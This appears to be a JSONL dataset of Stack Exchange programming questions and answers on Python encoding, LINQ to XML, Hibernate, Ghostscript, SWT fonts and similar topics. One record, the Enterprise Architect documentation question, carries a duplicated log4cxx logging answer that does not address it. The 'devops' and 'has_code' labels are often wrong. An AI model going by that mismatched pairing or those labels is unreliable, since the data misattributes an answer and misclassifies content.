{"id": "hf_10a1d13ef099", "question": "<p>I need to include a copyright statement at the top of every Python source file I produce:</p>\n\n<pre><code>#   Copyright: © 2008 etc.\n</code></pre>\n\n<p>However, when I then run such a file I get this message:</p>\n\n<p>SyntaxError: Non-ASCII character '\\xa9' in file MyFile.py on line 3, but no encoding declared; see <a href=\"http://www.python.org/peps/pep-0263.html\" rel=\"noreferrer\">http://www.python.org/peps/pep-0263.html</a> for details.</p>\n\n<p>Apparently Python isn't happy about the copyright symbol because it assumes the source file is all in ASCII. Either I need to make my first line be:</p>\n\n<pre><code># -*- coding: iso-8859-1 -*-\n</code></pre>\n\n<p>to tell Python I'm using Latin encoding, or I can change the copyright statement to: </p>\n\n<pre><code>#   Copyright: \\xa9 2008 etc.\n</code></pre>\n\n<p>which just possibly doesn't have the same legal standing.</p>\n\n<p>Is there a more elegant solution?</p>\n", "question_body": "", "answer": "The copyright symbol in ASCII is spelled\n```\n(c)\n```\nor \"\n```\nCopyright\n```\n\".\nSee circular 61,\nCopyright Registration for Computer Programs\n.\nWhile it's true that the legal formalism (see Circular 1,\nCopyright Basics\n) is\nThe symbol © (the letter C in a\n  circle), or the word “Copyright,” or\n  the abbreviation “Copr.”; and...\nAnd it's also true that\nTo guarantee protection for a\n  copyrighted work in all UCC member\n  countries, the notice must consist of\n  the symbol © (the word “Copyright” or\n  the abbreviation is not acceptable)\nYou can dig through circular\n3\nand\n38a\n.\nThis has, however, already been tested in court.  It isn't an interesting issue.  If you do a search for \"(c) acceptable for c-in-a-circle\", you'll find that lawyers all agree that (c) is an acceptable substitute.  See Perle and Williams.  See Scott on Information Technology Law.", "tags": [], "source": "huggingface", "category": "devops", "difficulty": "intermediate", "quality_score": 0.85, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:28:35.272357"}
{"id": "hf_fc5fb6372f3f", "question": "<p>I appreciate that there are now many mechanisms in dotnet to deal with XML in a myriad of ways... </p>\n\n<p>Suppose I have a string containing the XML....</p>\n\n<pre><code>&lt;?xml version=\"1.0\" encoding=\"utf-8\" ?&gt;\n&lt;root&gt;\n    &lt;Element1&gt;\n        &lt;Element1_1&gt;\n            SomeData\n        &lt;/Element1_1&gt;\n    &lt;/Element1&gt;\n    &lt;Element2&gt;\n        Some More Data\n    &lt;/Element2&gt;\n&lt;/root&gt;\n</code></pre>\n\n<p><strong>What is the simplest (most readable) way of removing Element1_1?</strong></p>\n\n<p>Update... I can use any .Net API available in .Net 3.5 :D </p>\n", "question_body": "", "answer": "Which APIs are you able to use? Can you use .NET 3.5 and LINQ to XML, for instance? If so,\nXNode.Remove\nis your friend - just select Element1_1 (in any of the many ways which are easy with LINQ to XML) and call Remove() on it.\nExamples of how to select the element:\n```\n```\nXElement element = doc.XPathSelectElement(\"/root/Element1/Element1_1\");\nelement.Remove();\n```\n```\nOr:\n```\n```\nXElement element = doc.Descendants(\"Element1_1\").Single().Remove();\n```\n```", "tags": [], "source": "huggingface", "category": "devops", "difficulty": "intermediate", "quality_score": 0.95, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:28:35.295656"}
{"id": "hf_dc4b78184df6", "question": "<p>Is it okay to run Hibernate applications configured with <code>hbm2ddl.auto=update</code> to update the database schema in a production environment?</p>\n", "question_body": "", "answer": "No, it's unsafe.\nDespite the best efforts of the Hibernate team, you simply cannot rely on automatic updates\nin production\n. Write your own patches, review them with DBA, test them, then apply them manually.\nTheoretically, if\nhbm2ddl update\nworked in development, it should work in production too. But in reality, it's not always the case.\nEven if it worked OK, it may be sub-optimal. DBAs are paid that much for a reason.", "tags": [], "source": "huggingface", "category": "devops", "difficulty": "intermediate", "quality_score": 0.75, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:28:35.319326"}
{"id": "hf_8d723b981a77", "question": "<p>I would like to trim long sequences of the same value from a binary file in python. A simple way of doing it is simply reading in the file and using re.sub to replace the unwanted sequence. This will of course not work on large binary files. Can it be done in something like numpy?</p>\n", "question_body": "", "answer": "If two copies fit in memory, then you can easily make a copy.  The second copy is the compressed version.  Sure, you can use numpy, but you can also use the\narray\npackage.  Additionally, you can treat your big binary object as a string of bytes and manipulate it directly.\nIt sounds like your file may be\nREALLY\nlarge, and you can't fit two copies into memory.  (You didn't provide a lot of details, so this is just a guess.) You'll have to do your compression in chunks.  You'll read in a chunk, do some processing on that chunk and write it out.  Again, numpy, array or simple string of bytes will work fine.", "tags": [], "source": "huggingface", "category": "devops", "difficulty": "intermediate", "quality_score": 0.95, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:28:35.354447"}
{"id": "hf_cd787d76f33c", "question": "<p>I need a way to check for Wi-Fi routers/access points on my DS homebrew. I'm using PAlib.</p>\n", "question_body": "", "answer": "i used the code from ds_wifi_test (which comes with the original dswifi library) when i tried to implement this. Basically, access points are scanned internally when you invoke\n```\nWifi_ScanMode()\n```\n. You can then have the number of AP identified with\n```\nWifi_GetNumAP()\n```\nand retrieve the information for the ith access point with\n```\nWifi_GetAPData(i,&data);\n```\n```\n```\nnbitems=Wifi_GetNumAP();\nWifi_AccessPoint ap;\n\nfor (int i=0;i<nbitems; i++) {\n   if(Wifi_GetAPData(i+scrolltop,&ap)==WIFI_RETURN_OK)\n      do_whatever_with(&ap);\n}\n```\n```\nI'm not aware of any \"helper\" functions through the PALib in this regards. All the PALib seems to have is a few \"wrappers\" to ease common tasks once a WFC setting has been defined (\nsee day#20 tutorial\n)", "tags": [], "source": "huggingface", "category": "devops", "difficulty": "intermediate", "quality_score": 0.95, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:28:35.377986"}
{"id": "hf_983b33ae48d7", "question": "<p>I'm opening a new browser window from my site for some of the members. However, some may later close it, or it might have initially failed to open.</p>\n\n<p>Is there a snippet of fairly plain Javascript that can be run on each page to confirm if another browser window is open, and if not, to provide a link to re-open it?</p>\n\n<p><strong>[clarification:]</strong> The code to check is a window is open would be run on other pages - not just in the same window and URL that opened it.  Imagine a user logging in, the window (tries to) open, and then they surf around in the same tab/window (or others) for some time before they close the 2nd window (or it never opened) - I want to be able to notice the window has been closed some time after the initial attempt at opening/after it's closed, so I'm not sure that checking the javascript's return from window.open() (with popup_window_handle.closed) is easily used, or indeed possible.</p>\n", "question_body": "", "answer": "```\n```\nvar myWin = window.open(...);\n\nif (myWin.closed)\n{\n    myWin = window.open(...);\n}\n```\n```", "tags": [], "source": "huggingface", "category": "devops", "difficulty": "intermediate", "quality_score": 0.75, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:28:35.483995"}
{"id": "hf_8581a4af7539", "question": "<p>How can I put up a \"File Open\" dialog from some VBA running in Excel?  </p>\n\n<p>I'm using Excel 2003.  </p>\n", "question_body": "", "answer": "Add a reference to ComDLG32.OCX and then something like...\n```\n```\nSub PromptForFile()\nDim d As New MSComDlg.CommonDialog\n\nd.Filter = \"xls\"\nd.Filename = \"*.xls\"\nd.ShowOpen\n\nExcel.Workbooks.Open d.Filename\n\nSet d = Nothing\nEnd Sub\n```\n```", "tags": [], "source": "huggingface", "category": "devops", "difficulty": "intermediate", "quality_score": 0.85, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:28:35.530056"}
{"id": "hf_10e27b7070f1", "question": "<p>I have a customer who needs to send some direct mailing to his contacts which is being collected from trade shows etc. I am thinking about providing a web based solution for them on sending direct mailing material- however this kind of solution always face a major difficulty on having the server blacklisted. I would like to know if there is any suggestions on how to maintain such SMTP server?</p>\n", "question_body": "", "answer": "Aside from the server (just set up exim or postfix and a web interface to send newsletters from, and do this on a server with an IP address that is different from your own personal mail server (maybe even a different network)), you will want to get your terms and conditions of use nice and tight so that you can remove access to the systems from any customer that has complaints made about emailing. Indeed you can mandate that all emails sent must be lawful (e.g., unsubscription option that works, etc).", "tags": [], "source": "huggingface", "category": "devops", "difficulty": "intermediate", "quality_score": 0.75, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:28:35.552402"}
{"id": "hf_8bbb70d7e369", "question": "<pre><code>Control.TabIndex\n</code></pre>\n\n<p>Only allows me to overide the Tab order of controls in a given container. </p>\n\n<p>Is there a way to specify this across all the controls in, for example a UserControl, regardless of the contains used to arrange the controls.</p>\n\n<p>Cheers,</p>\n\n<p>Jan</p>\n", "question_body": "", "answer": "I'm not sure that there is a particularly good way of doing what you are asking, but check out\nChanging WPF focus in code\n.\nThat uses\n```\nKeyboardNavigation.TabNavigation\n```\nto set how the various containers take and give up the Focus on tabbing, and also sets the\n```\nTabIndex\n```\nproperties for each control. Look at the example code with the\n```\nTabNavigation\n```\nset to \"Continue\".\nIf your tabbing problems are simple, you should be able to find a solution here, if they are complex of need to be generalised, then it might take some more work.", "tags": [], "source": "huggingface", "category": "devops", "difficulty": "intermediate", "quality_score": 0.95, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:28:35.575588"}
{"id": "hf_62654f56d858", "question": "<p>My stomach churns when I see this kind of output.</p>\n\n<p><a href=\"http://www.freeimagehosting.net/uploads/e1097a5a10.jpg\" rel=\"nofollow noreferrer\">http://www.freeimagehosting.net/uploads/e1097a5a10.jpg</a></p>\n\n<p>and this was my command\nas suggested by <a href=\"https://stackoverflow.com/questions/75500/best-way-to-convert-pdf-files-to-tiff-files#221341\">Best way to convert pdf files to tiff files</a></p>\n\n<pre><code>gswin32c.exe -q -dNOPAUSE -sDEVICE=tiffg4 -sOutputFile=a.tif a.pdf -c quit\n</code></pre>\n\n<p>What am I doing wrong?</p>\n\n<p>(commercial products will not be considered)</p>\n", "question_body": "", "answer": "tiffg4 is a black&white output device.\nYou should use tiff24nc or tiff12nc as the output device colour PDFs - see\nghostscript output devices\n.\nThese will be uncompressed but you could put the resulting TIFFs through imagemagick or similar to resave as compressed TIFF.", "tags": [], "source": "huggingface", "category": "devops", "difficulty": "intermediate", "quality_score": 0.75, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:28:35.599355"}
{"id": "hf_3de31c1aad4b", "question": "<p>In LinqToSql, it is lovely easy to load a row, change a column, and submit the changes to the database:</p>\n\n<pre><code>using (MyDataContext wdc = new MyDataContext())\n{        \n  Article article = wdc.Article.First(p =&gt; p.ID == id);\n  article.ItemsInStock = itemsinstock;\n  wdc.SubmitChanges();\n}\n</code></pre>\n\n<p>The only drawback: Article is huge. <strong>To load the entire article, just to update one column is way overkill</strong> and slows down my app significantly.</p>\n\n<p>Is there a way to update a single column using LINQ, without having to load the entire row?</p>\n\n<p>Right now I revert to using ExecuteCommand where speed is of essence, but this is ugly and error prone:</p>\n\n<pre><code>wdc.ExecuteCommand(\"UPDATE Article SET ItemsInStock = @1 WHERE ID = @2\", itemsinstock,id);\n</code></pre>\n", "question_body": "", "answer": "You need to set UpdateCheck on all properties of the Article class except the primary key (click on the class property in LINQ2SQL designer and switch to Properties Tool Window) to Never (not sure about WhenChanged, maybe that works too - go ahead and experiment with it!).\nThis will force LINQ2SQL to use\n```\n```\nUPDATE ... SET ... WHERE ID = @2\n```\n```\ninstead of the long version with all columns in the WHERE-clause:\n```\n```\nUPDATE ... SET ... WHERE ID = @2 AND ItemsInStock = @1 AND SomeOtherColumn = @3 AND...\n```\n```\nNow you can use code like\n```\n```\ncontext.Articles.Attach(article /* article with updated values */, new Article { ID = articleID, ItemsInStock = -1 } /* pretend that this is the original article */);\ncontext.SubmitChanges();\n```\n```\nBasically you indicate that only ItemsInStock property has changed - other props should have the same default value, articleID of course being the same.\nNOTE: you don't need to fetch the article prior to that.", "tags": [], "source": "huggingface", "category": "devops", "difficulty": "intermediate", "quality_score": 0.85, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:28:35.648167"}
{"id": "hf_49a030e3f233", "question": "<p>After update, old Eclipse plugins remain in \"plugins\" folder (there are also leftovers in \"features\" folder).</p>\n\n<p>Is there a way to remove those automatically?</p>\n", "question_body": "", "answer": "Eclipse allows you to revert back to any previous configuration (go to the Help menu, then \"Software Updates\"). My guess is that Eclipse won't remove these old versions, or this functionality would no longer work.\nIf when you restart Eclipse you provide the \"-clean\" argument, it performs various cleanup operations, but for reasons stated above I don't think it will remove old plugins/features.", "tags": [], "source": "huggingface", "category": "devops", "difficulty": "intermediate", "quality_score": 0.75, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:28:35.673181"}
{"id": "hf_ae18a0680d0c", "question": "<p>I'm comparing the results produced when i use the 'Make .exe' compared to when i run the exact same process using the exact same variables though the IDE vb 6 debugger.</p>\n\n<p>I've tried an array of different compiler options but to no avail.</p>\n\n<p>So my question is why would i get a difference between the debugger and the 'Make .exe'?\nhave you ever come arross something similar and if so did you find a fix?</p>\n\n<p><em>the program takes a large file of counts of cars in a timeperiod and averages them into 15 minute timeperiods for the day over a month for each route.\nIt elminates certain records depending on if there outside the standard deviation and other statistical algorithms To eliminate values.\nits a bit to much code to post unfortunately...</em></p>\n", "question_body": "", "answer": "```\nDebug.Assert\n```\nand\n```\nDebug.Print\n```\nStatement are not compiled into the binary. I sometimes use this to detect whether I am in the IDE or a compiled binary:\n```\nOn Error Resume Next\nDebug.Print 1/0\nIf Err=0 then\n  'Compiled Binary\nelse\n  'in the IDE\nEnd if\n```\nBe careful with statements like this:\n```\n```\nDebug.Assert( DoSomeThingImportend() )\n```\n```\nIn the compiled version this statement will not be executed.", "tags": [], "source": "huggingface", "category": "devops", "difficulty": "intermediate", "quality_score": 0.75, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:28:35.707877"}
{"id": "hf_9f99b3b92989", "question": "<p>Suppose, objects of type <i>A</i> are stored in DB. Here's the way I load specific one from DB using hibernate:</p>\n\n<pre><code>org.hibernate.Session session = ...;\nlong id = 1;\nA obj = session.load(A.class, id);\n</code></pre>\n\n<p>If object with id=1 doesn't exist I will get <i>ObjectNotFoundException</i>. But is there a way to check if such object exists without having to catch the exception? What I would like to have is smth like:</p>\n\n<pre><code>org.hibernate.Session session = ...;\nlong id = 1;\nboolean exists = session.exists(A.class, id);\nif(exists){\n // do smth.....\n}\n</code></pre>\n\n<p>Couldn't find it hibernate docs...</p>\n", "question_body": "", "answer": "You can use\n```\nsession.get\n```\n:\n```\n```\npublic Object get(Class clazz,\n                  Serializable id)\n           throws HibernateException\n```\n```\nIt will return null if the object does not exist in the database. You can find more information in\nHibernate API Documentation\n.", "tags": [], "source": "huggingface", "category": "devops", "difficulty": "intermediate", "quality_score": 0.75, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:28:35.742541"}
{"id": "hf_0997835296b1", "question": "<p>The following Code does not compile</p>\n\n<pre><code>Dim BasicGroups As String() = New String() {\"Node1\", \"Node2\"}\nDim NodesToRemove = From Element In SchemaDoc.Root.&lt;Group&gt; _\n                    Where Element.@Name not in BasicGroups\nFor Each XNode In NodesToRemove\n    XNode.Remove()\nNext\n</code></pre>\n\n<p>It is supposed to Remove any Immediate child of the rootnode which has an attribute called name whose value is <strong>Not</strong> listed in the BasicGroups StringArray.</p>\n\n<p><strong>What is the correct syntax for this task?</strong></p>\n", "question_body": "", "answer": "You probably want to move the 'not' part. Eg (psuedo code)\n```\n```\nwhere (not (list.Contains(foo))\n```\n```", "tags": [], "source": "huggingface", "category": "devops", "difficulty": "intermediate", "quality_score": 0.75, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:28:35.766361"}
{"id": "hf_1fc3c99dc21a", "question": "<p>I've seen this in a few <a href=\"https://stackoverflow.com/questions/221294/how-do-you-get-a-timestamp-in-javascript#221357\">places</a></p>\n\n<pre><code>function fn() {\n    return +new Date;\n}\n</code></pre>\n\n<p>And I can see that it is returning a timestamp rather than a date object, but I can't find any documentation on what the plus sign is doing.</p>\n\n<p>Can anyone explain?</p>\n", "question_body": "", "answer": "JavaScript is loosely typed, so it performs type coercion/conversion in certain circumstances:\nhttp://blog.jeremymartin.name/2008/03/understanding-loose-typing-in.html\nhttp://www.jibbering.com/faq/faq_notes/type_convert.html\nOther examples:\n```\n```\n>>> +new Date()\n1224589625406\n>>> +\"3\"\n3\n>>> +true\n1\n>>> 3 == \"3\"\ntrue\n```\n```", "tags": [], "source": "huggingface", "category": "devops", "difficulty": "intermediate", "quality_score": 0.85, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:28:35.835509"}
{"id": "hf_6b5e482e21bc", "question": "<p>Is there a way in SWT to get a monospaced font simply, that works across various operating systems?</p>\n\n<p>For example. this works on Linux, but not Windows:</p>\n\n<pre>\n<code>\nFont mono = new Font(parent.getDisplay(), \"Mono\", 10, SWT.NONE);\n</code>\n</pre>\n\n<p>or do I need to have a method that tries loading varying fonts (Consolas, Terminal, Monaco, Mono) until one isn't null? Alternatively I could specify it in a properties file on startup.</p>\n\n<p>I tried getting the system font from Display, but that wasn't monospaced.</p>\n", "question_body": "", "answer": "According to the section on\nFont Configuration Files\nin the JDK documentation of\nInternationalization Support\n-related APIs, the concept of\nLogical Font\ns is used to define certain platform-independent fonts which are mapped to physical fonts in the default font configuration files:\nThe Java Platform defines five logical font names that every implementation must support: Serif, SansSerif, Monospaced, Dialog, and DialogInput. These logical font names are mapped to physical fonts in implementation dependent ways.\nSo in your case, I'd try\n```\nFont mono = new Font(parent.getDisplay(), \"Monospaced\", 10, SWT.NONE);\n```\nto get a handle to the physical monospaced font of the current platform your code is running on.\nEdit\n: It seems that SWT doesn't know anything about logical fonts (\nBug 48055\non eclipse.org describes this in detail). In this bug report a hackish workaround was suggested, where the name of the physical font may be retrieved from an AWT font...", "tags": [], "source": "huggingface", "category": "devops", "difficulty": "intermediate", "quality_score": 0.95, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:28:35.883495"}
{"id": "hf_dcf4470c007b", "question": "<p>I'd like them to be easy to bundle, with few dependencies and easy to use.</p>\n", "question_body": "", "answer": "http://sourceforge.net/projects/jintilla/\nhttp://syntax.jedit.org/", "tags": [], "source": "huggingface", "category": "devops", "difficulty": "intermediate", "quality_score": 0.75, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:28:35.911285"}
{"id": "hf_30a3b89cab19", "question": "<p>I have some products that belongs to the some category.</p>\n\n<p>Each category can have different properties.</p>\n\n<p>For example, </p>\n\n<ul>\n<li>category <em>cars</em> has properties <em>color</em>,\npower, ... </li>\n<li>category <em>pets</em> have properties  <em>weight</em>, <em>age</em>, ...</li>\n</ul>\n\n<p>Number of categories is about 10-15.\nNumber of properties in each category is 3-15.\nNumber of products is very big.</p>\n\n<p>Main requirement for this app is very good search. We will select category, and enter criteria for each property in this category.</p>\n\n<p>Have to design database for this scenario. (SQL Server 2005)</p>\n", "question_body": "", "answer": "If the user of the application\nhas\nto select a category before they can search, I would separate your products into different database tables by category.  This solution is also indicated by the fact that the categories themselves have so little in common.  Breaking it down by category will also make each search much faster, since time won't be wasted searching through cars when your user is looking for a pet.\nOnce you have the products split up in to categories, it should be easy to create the tables using the common properties of the products in each category.  The user interface of your application should be dynamic (I'm thinking of a web form), in that the properties the user can choose from should change when the user selects a category.\nPlease note that if you have products that you want listed in multiple categories, this solution will result in duplicate data in your tables.  There is a trade-off between speed and normalization when designing a database.  If you\ndon't\nhave products that fit in multiple categories, then I think this will be the fastest solution (in terms of search speed).", "tags": [], "source": "huggingface", "category": "devops", "difficulty": "intermediate", "quality_score": 0.75, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:28:35.958035"}
{"id": "hf_c0ffd9e30a89", "question": "<p>I am building an ObjectQuery like this:</p>\n\n<pre><code>        string query = \"select value obj from Entities.Class as obj \" +\n                       \"where obj.Property = @Value\";\n\n        ObjectQuery&lt;Class&gt; oQuery = new ObjectQuery&lt;Class&gt;(query, EntityContext.Instance);\n        oQuery.Parameters.Add(new ObjectParameter(\"Value\", someVariable));\n</code></pre>\n\n<p>I can now assign this object as a DataSource for a control, or iterate with a foreach loop or even force a materialization to a List, however, I can I count the number of objects that will be returned, without forcing a materialization?</p>\n\n<p>Do I need to create a companion query that will execute a count() or is there a function that will do that for me somewhere?</p>\n\n<p>Thank you.</p>\n", "question_body": "", "answer": "```\nObjectQuery<T>\n```\nimplements\n```\nIQueryable<T>\n```\n, so can't you simply use the extension method:\n```\n```\nint count = oQuery.Count();\n```\n```\nWhat happens if you execute this? I would have expected the overall query to just do a Count()... (not that I've done much EF...).", "tags": [], "source": "huggingface", "category": "devops", "difficulty": "intermediate", "quality_score": 0.75, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:28:35.994275"}
{"id": "hf_699f401bccc3", "question": "<p>I'm thinking about using BlogEngine.NET to launch my blog. I'm a C# programmer and was wondering was BlogEngine.NET has in the belly.</p>\n\n<p>Does it scale well? Is it caching properly? Is it memory intensive? Can you easily add/remove functionality?</p>\n\n<p>I also accept any hosting recommendation :)</p>\n", "question_body": "", "answer": "I'm running BlogEngine.Net. I don't know about scaling because my weblog isn't that popular (yet). I'm very happy with it. \nI tried subtext before and I had some stability problems with it, it logged exceptions that I found hard to debug. I got an error exporting the database to BlogML and it messed up the order of my blogposts. BlogEngine.Net seems a lot more stable.\nI'm running on a virtualized server hosted by a friend of mine. I have seen no performance issues but that might be because of the massive 15 visitors per day peak load. I've have some trouble where Live Writer posts blog entries twice, but I suspect this is Live Writer's fault.\nI really like the extension model and the way you can drag and drop extensions on the design of your blog. There aren't much themes that support this yet but I created my own look and feel by changing the standard theme in about three hours.", "tags": [], "source": "huggingface", "category": "devops", "difficulty": "intermediate", "quality_score": 0.85, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:28:36.029357"}
{"id": "hf_95d29ba87d15", "question": "<p>For a certain Hibernate entity we have a requirement to store its creation time and the last time it was updated.  How would you design this?</p>\n\n<ul>\n<li><p>What data types would you use in the database (assuming MySQL, possibly in a different timezone that the JVM)?  Will the data types be timezone-aware?</p></li>\n<li><p>What data types would you use in Java (<code>Date</code>, <code>Calendar</code>, <code>long</code>, ...)?</p></li>\n<li><p>Whom would you make responsible for setting the timestamps&mdash;the database, the ORM framework (Hibernate), or the application programmer?</p></li>\n<li><p>What annotations would you use for the mapping (e.g. <code>@Temporal</code>)?</p></li>\n</ul>\n\n<p>I'm not only looking for a working solution, but for a safe and well-designed solution.</p>\n", "question_body": "", "answer": "A good approach is to have a common base class for all your entities. In this base class, you can have your id property if it is commonly named in all your entities (a common design), your creation and last update date properties.\nFor the creation date, you simply keep a\njava.util.Date\nproperty. Be sure, to always initialize it with\nnew Date()\n.\nFor the last update field, you can use a Timestamp property, you need to map it with @Version. With this Annotation the property will get updated automatically by Hibernate. Beware that Hibernate will also apply optimistic locking (it's a good thing).", "tags": [], "source": "huggingface", "category": "devops", "difficulty": "intermediate", "quality_score": 0.75, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:28:36.053183"}
{"id": "hf_4f3f7ae8a252", "question": "<p>I have a c++ application which logs to some file using log4cxx (RollingFile appender). I want to log into the same file, at the same time, from another module written in c#; so i configured log4net to use the same file, but i can't get the new messages in. If i deactivate the c++ logging, i can see c# messages. So i think it is a locking issue, and looked for a configuration option to tell log4cxx not to lock the file. I came into MinimalLock model for log4net, but couldn't find anything in log4cxx... does anybody know if it could be done, and how?</p>\n\n<p>thanks in advance,</p>\n\n<p>Ernesto Cullen</p>\n", "question_body": "", "answer": "I think that you might run into concurrency and contention problems no matter what configuration you use as long as you are attempting to have two different processes log to the same file.\nYou should look into sending log events from both processes to a third, centralized location - take a look at\nRemotingAppender\nin log4net, I assume log4cxx has something similar.", "tags": [], "source": "huggingface", "category": "devops", "difficulty": "intermediate", "quality_score": 0.75, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:28:36.088867"}
{"id": "hf_7bc85469f56d", "question": "<p>Enterprise Architect has a way to generate the documentation in HTML/RTF/etc. that you could publish, but you have to use its GUI to do that manually. When you have your *.eap files in a CVS/Subversion server, it would be useful to have a script that would check out daily the latest version and publish it in a web server. As long as I know, EA doesn't have a command line utility for this purpose. I found that you can automate almost anything using its COM interface, but that means it's necessary to write a small program to do that. Any ideas about the easiest/cleanest way to do that (without having to write code, if possible)?</p>\n", "question_body": "", "answer": "I think that you might run into concurrency and contention problems no matter what configuration you use as long as you are attempting to have two different processes log to the same file.\nYou should look into sending log events from both processes to a third, centralized location - take a look at\nRemotingAppender\nin log4net, I assume log4cxx has something similar.", "tags": [], "source": "huggingface", "category": "devops", "difficulty": "intermediate", "quality_score": 0.75, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:28:36.112710"}
{"id": "hf_7302c1212990", "question": "<p>I want to make a generic class that accepts only serializable classes, can it be done with the where constraint?</p>\n\n<p>The concept I'm looking for is this:</p>\n\n<pre><code>public class MyClass&lt;T&gt; where T : //[is serializable/has the serializable attribute]\n</code></pre>\n", "question_body": "", "answer": "Nope, I'm afraid not. The only things you can do with constraints are:\n```\nwhere T : class\n```\n- T must be a reference type\n```\nwhere T : struct\n```\n- T must be a non-nullable value type\n```\nwhere T : SomeClass\n```\n- T must be SomeClass or derive from it\n```\nwhere T : ISomeInterface\n```\n- T must be ISomeInterface or implement it\n```\nwhere T : new()\n```\n- T must have a public parameterless constructor\nVarious combinations are feasible, but not all. Nothing about attributes.", "tags": [], "source": "huggingface", "category": "devops", "difficulty": "intermediate", "quality_score": 0.95, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:28:36.159278"}
{"id": "hf_cbf910d4627e", "question": "<p>This might be a old question: Why does <code>IEnumerable&lt;T&gt;</code> inherit from <code>IEnumerable</code>?</p>\n\n<p>This is how .NET do, but it brings a little trouble. Every time I write a class implements <code>IEumerable&lt;T&gt;</code>, I have to write two <code>GetEnumerator()</code> functions, one for <code>IEnumerable&lt;T&gt;</code> and the other for <code>IEnumerable</code>.</p>\n\n<p>And, <code>IList&lt;T&gt;</code> doesn't inherit from IList. </p>\n\n<p>I don't know why <code>IEnumerable&lt;T&gt;</code> is designed in other way.</p>\n", "question_body": "", "answer": "The answer for\n```\nIEnumerable\n```\nis: \"because it can without affecting type safety\".\n```\nIEnumerable\n```\nis a \"readonly\" interface - so it doesn't matter that the generic form is more specific than the nongeneric form. You don't break anything by implementing both.\n```\nIEnumerator.Current\n```\nreturns\n```\nobject\n```\n, whereas\n```\nIEnumerator<T>.Current\n```\nreturns\n```\nT\n```\n- that's okay, as you can always legitimately convert to\n```\nobject\n```\n, although it may mean boxing.\nCompare this with\n```\nIList<T>\n```\nand\n```\nIList\n```\n- you can call\n```\nAdd(object)\n```\non an\n```\nIList\n```\n, whereas that may well be invalid for any particular\n```\nIList<T>\n```\n(anything other than\n```\nIList<object>\n```\nin fact).\nBrad Abram's\nblogged with Anders' answer\nabout this very question.", "tags": [], "source": "huggingface", "category": "devops", "difficulty": "intermediate", "quality_score": 0.85, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:28:36.183086"}
